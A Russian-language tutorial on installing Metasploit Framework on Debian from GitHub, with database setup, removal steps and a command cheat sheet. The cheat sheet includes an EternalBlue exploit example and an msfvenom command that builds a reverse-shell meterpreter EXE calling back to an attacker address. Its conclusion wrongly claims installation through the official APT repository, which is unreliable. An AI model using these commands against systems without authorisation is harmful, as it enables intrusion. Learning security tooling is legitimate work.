💡 Что такое Metasploit и зачем он вам — это мощный фреймворк для тестирования безопасности, который объединяет поиск уязвимостей, создание эксплойтов, работу с базами данных и управление сессиями в одной консоли.
⚠️ Важное предупреждение: Metasploit — это инструмент с двойным назначением. Используйте его только на системах, которыми вы владеете, управляете или имеете письменное разрешение на проверку. Всегда держите лабораторные цели отдельно от рабочих систем.
Предварительные требования
Прежде чем начать, убедитесь, что ваша система готова:
⚠️ ВАЖНО: Проверьте права sudo перед установкой
Если вы не уверены, есть ли у вашего пользователя права администратора, выполните в терминале:
sudo whoami
Что делает:
sudo— выполняет команду от имени суперпользователяwhoami— показывает имя текущего пользователя
Зачем: Проверяет, может ли ваш пользователь выполнять команды с правами root.
✅ Если выводит root — всё в порядке, можете продолжать.
❌ Если выводит is not in the sudoers file — сначала пройдите наше руководство по настройке sudo.
Дополнительные требования:
- Стабильное интернет-соединение
- Около 1.3 ГБ свободного места (400 МБ загрузка + 900 МБ после установки)
- Debian 11/12/13 (amd64, arm64, armhf или i386)
Обновление системы
sudo apt update
🟢 Установка Metasploit на Debian через GitHub
(Актуально для РФ в 2026-году)
Выполните в терминале следующий код: (может занять 10-20 минут! Не прерывайте установку)
# 1. Установка зависимостей
sudo apt install -y git curl build-essential \
libpcap-dev libpq-dev libreadline-dev \
zlib1g-dev libssl-dev libffi-dev \
libxml2-dev libxslt1-dev libyaml-dev \
postgresql postgresql-contrib \
ca-certificates
# 2. Установка Ruby 3.3
cd /tmp
wget https://cache.ruby-lang.org/pub/ruby/3.3/ruby-3.3.0.tar.gz
tar -xzf ruby-3.3.0.tar.gz
cd ruby-3.3.0
./configure --prefix=/usr/local --disable-install-rdoc
make -j$(nproc)
sudo make install
cd ~
rm -rf /tmp/ruby-3.3.0 /tmp/ruby-3.3.0.tar.gz
# 3. Bundler
gem install bundler
echo 'export PATH="$HOME/.local/share/gem/ruby/3.3.0/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
# 4. Клонирование Metasploit
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle config set --local path 'vendor/bundle'
bundle install
# 5. База данных
sudo systemctl start postgresql
sudo systemctl enable postgresql
sudo -u postgres psql -c "CREATE USER msf WITH PASSWORD 'metasploit' CREATEDB;"
sudo -u postgres psql -c "CREATE DATABASE msf_database OWNER msf;"
# 6. Конфиг
mkdir -p ~/.msf4
cat > ~/.msf4/database.yml << EOF
production:
adapter: postgresql
database: msf_database
username: msf
password: metasploit
host: 127.0.0.1
port: 5432
pool: 75
timeout: 5
EOF
# 7. Алиасы
echo 'alias msf="cd ~/metasploit-framework && bundle exec ./msfconsole"' >> ~/.bashrc
echo 'alias msfvenom="cd ~/metasploit-framework && bundle exec ./msfvenom"' >> ~/.bashrc
source ~/.bashrc
# 8. Запуск
msf -q
⚠️ Примечание: предупреждение Unresolved specs и Available/installed versions of this gem
При запуске Metasploit (msfconsole) вы можете увидеть следующие предупреждение:
WARN: Unresolved or ambiguous specs during Gem::Specification.reset:
stringio (>= 0)
Available/installed versions of this gem:
- 3.1.1
- 3.1.0
WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>'
Please report a bug if this causes problems.
msf >
🔍 Что это означает?
stringio— это встроенный гем, входящий в состав Ruby 3.3+ (стандартная библиотека).- При установке Metasploit через
bundle installBundler обнаруживает несколько версий этого гема в системе (например, 3.1.0 и 3.1.1), даже если вы их не устанавливали вручную. - Ruby и Bundler временно не могут однозначно определить, какую версию использовать — отсюда и предупреждение
Unresolved or ambiguous specs.
❌ Почему нельзя просто удалить старую версию?
- Гем
stringioне устанавливается отдельно — он часть интерпретатора Ruby. - Попытка удалить его через
gem uninstall stringioзавершится ошибкой:Gem 'stringio' is not installed— потому что он не является внешним пакетом, а встроен в Ruby. - Даже если система показывает две версии — на самом деле используется актуальная (обычно 3.1.1).
✅ Влияет ли это на работу Metasploit?
Нет.
Это чисто информационное предупреждение, которое не мешает:
- Подключению к базе данных (
db_status) - Поиску эксплойтов (
search) - Запуску атак (
use,run) - Генерации пейлоадов (
msfvenom)
🟢 Рекомендация
Игнорируйте это сообщение.
Оно не является ошибкой и не требует вмешательства.
Проверка версии Ruby после установки:
ruby -v
✅ Проверка выведет похожее на это (версия может отличаться): ruby 3.3.0p0 (2023-12-25 revision 5124f96562) [x86_64-linux]
Проверяем db_status
После запуска msf -q выполните в командной строке Metasploit (там где строка начинается с msf> ):
db_status
✅ Ожидаемый вывод:
[*] Connected to msf_database. Connection type: postgresql.
Зачем: это финальная проверка, что всё работает. Можно даже добавить:
✅ Если вы видите это сообщение — поздравляем Metasploit готов к работе.
🧹 Как полностью удалить Metasploit
🔹 Если установлен с GitHub как в руководстве — выполняем в терминале Дебиан следующий код:
# 1. Удалить папку Metasploit
rm -rf ~/metasploit-framework
# 2. Удалить настройки и кэш
rm -rf ~/.msf4
rm -rf ~/.bundle
rm -rf ~/.local/share/gem/ruby/3.3.0
# 3. Удалить гемы, установленные в системные пути (если были)
sudo rm -rf /usr/local/lib/ruby/gems/3.3.0
# 4. Удалить базу данных
sudo -u postgres psql -c "DROP DATABASE IF EXISTS msf_database;"
sudo -u postgres psql -c "DROP USER IF EXISTS msf;"
# 5. Удалить Ruby (только если установлен из исходников и НЕ нужен)
sudo rm -f /usr/local/bin/ruby
sudo rm -f /usr/local/bin/gem
sudo rm -f /usr/local/bin/bundle
sudo rm -f /usr/local/bin/bundler
sudo rm -rf /usr/local/lib/ruby
sudo rm -rf /usr/local/share/ruby
# 6. Удаление мёртвых репозиториев (если были)
sudo rm -f /etc/apt/sources.list.d/metasploit*.list
sudo rm -f /etc/apt/sources.list.d/metasploit*.sources
sudo rm -f /usr/share/keyrings/metasploit*.gpg
sudo apt update
Это полное удаление Metasploit и связанных компонентов (безопасно, даже если чего-то нет)
🧩 Основные команды: Metasploit & терминал
🔹 Внутри msfconsole (когда видите msf >)
| Команда | Что делает |
|---|---|
quit или exit | Выйти из Metasploit и вернуться в терминал |
help | Показать список основных команд |
db_status | Проверить подключение к базе данных |
search <запрос> | Найти эксплойт, вспомогательный модуль или пейлоад Пример: search eternalblue |
use <модуль> | Выбрать модуль для использования Пример: use exploit/windows/smb/ms17_010_eternalblue |
show options | Показать параметры выбранного модуля (что нужно настроить) |
set <параметр> <значение> | Установить значение параметра Пример: set RHOSTS 192.168.1.100 |
run или exploit | Запустить атаку |
back | Вернуться к главному меню (отменить use) |
sessions -l | Показать активные сессии (если есть Meterpreter) |
sessions -i 1 | Перейти в сессию №1 |
background | Отправить текущую сессию в фон |
🔹 В терминале (когда видите unishell@user:~$)
| Команда | Что делает |
|---|---|
msf -q | Запустить Metasploit в тихом режиме (без предупреждений) |
msf -q 2>/dev/null | Запустить Metasploit и скрыть все предупреждения |
msfvenom -l payloads | Показать все доступные пейлоады |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe | Создать EXE-пейлоад |
cd ~ | Перейти в домашнюю папку |
cd /путь/к/папке | Перейти в нужную директорию |
pwd | Узнать, где вы сейчас находитесь |
ls | Посмотреть содержимое папки |
source ~/.bashrc | Применить изменения в настройках терминала |
clear или Ctrl + L | Очистить экран терминала |
Заключение
Metasploit Framework успешно установлен на Debian через официальный APT-репозиторий Rapid7. Вы настроили базу данных, проверили работу консоли и готовы к безопасному тестированию в лабораторной среде.
Что дальше:
- Изучите базовые команды с официальной документацией Rapid7
- Для сканирования сети установите Nmap на Debian
- Настройте Fail2Ban для защиты ваших серверов
💡 Важно: Всегда помните об этичном использовании. Metasploit — мощный инструмент, и с мощью приходит ответственность. Используйте его только на системах, которые вы имеете право проверять.